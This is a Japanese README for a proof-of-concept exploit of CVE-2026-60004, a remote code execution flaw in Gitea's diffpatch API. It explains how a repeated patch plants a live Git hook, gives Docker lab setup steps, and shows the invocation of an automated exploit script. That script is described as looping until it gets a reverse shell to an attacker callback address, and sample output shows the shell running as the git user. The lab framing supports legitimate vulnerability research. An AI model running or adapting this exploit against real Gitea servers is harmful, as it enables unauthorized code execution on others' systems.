★ CVE-2026-60004 Gitea diffpatch GitフックRCE PoC ★
https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b
CVE-2026-60004 は、Gitea における リモートコード実行(RCE) の脆弱性です。
diffpatchAPIは、提供されたパッチをgit apply --cachedで適用します。これはインデックスのみに影響し、ディスク上にファイルを書き込むことはないはずです。 同じパッチを2回送信することで、攻撃者は add/add の衝突を強制し、Gitのスリーマージフォールバック(-3) をトリガーします。このパスは--cachedを無視し、ファイルを作業ツリーにチェックアウトします。 一時クローンはベアであるため、その作業ツリーのルートは$GIT_DIRになります。したがって、実行可能なhooks/post-index-changeを作成するパッチは、ライブなGitフックを配置し、Gitは次のインデックス更新時にそれを自動的に実行します — Giteaサービスアカウントとしてコマンドを実行します。 このエンドポイントにはリポジトリへの書き込みアクセスが必要ですが、登録はデフォルトで有効であるため、サインアップしてリポジトリを作成できるユーザーは誰でも到達できます。
| カテゴリ | バージョン |
|---|---|
| 脆弱 | Gitea 1.17 ≤ バージョン ≤ 1.27.0 |
| 修正済み | Gitea 1.27.1 以降 |
git)としてのリモートコード実行脆弱なGitea環境をビルドして実行します。登録は開放されたままで、サーバーにはGit 2.32+が同梱されており、攻撃が依存する -3 フォールバックが有効になります。
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
| 前提条件 | このラボでの状態 |
|---|---|
| Gitea 1.17 – 1.27.0 | 1.27.0 |
サーバー上のGit 2.32+(-3 を有効化) | 2.54 |
| オープン登録 | 有効(デフォルト) |
| リポジトリへの書き込みアクセス | 自己登録アカウント経由 |
このエクスプロイトは gitea_exploit.py によって完全に自動化されています。リポジトリを作成できるアカウントがあれば、ターゲットリポジトリを作成し、Gitの -3 フォールバックが発動するまで同じパッチを繰り返し送信し、組み込みリスナーでリバースシェルをキャッチします — 手動セットアップ、パッチ作成、blobハッシュ計算は不要です。
# python3 gitea_exploit.py <ターゲットip:port> <コールバックip> [コールバックport]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
--user test --pw 11111111 --repo rce
-3 フォールバックは特定のタイミングウィンドウでのみ発動するため、スクリプトはキャッチするまで create → send → send をループします(デフォルト25回試行)。送信がブロックされた場合、フックが発動し、リスナーが git としてシェルにドロップします:
[*] attempt 3/25 -> send#1 201, send#2 timeout <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)
オプション:
--no-listen — 組み込みリスナーの代わりに、独自の外部 nc でシェルをキャッチ--user / --pw / --repo / --branch — デフォルトのアカウントとターゲットリポジトリを上書きDISABLE_REGISTRATION=true)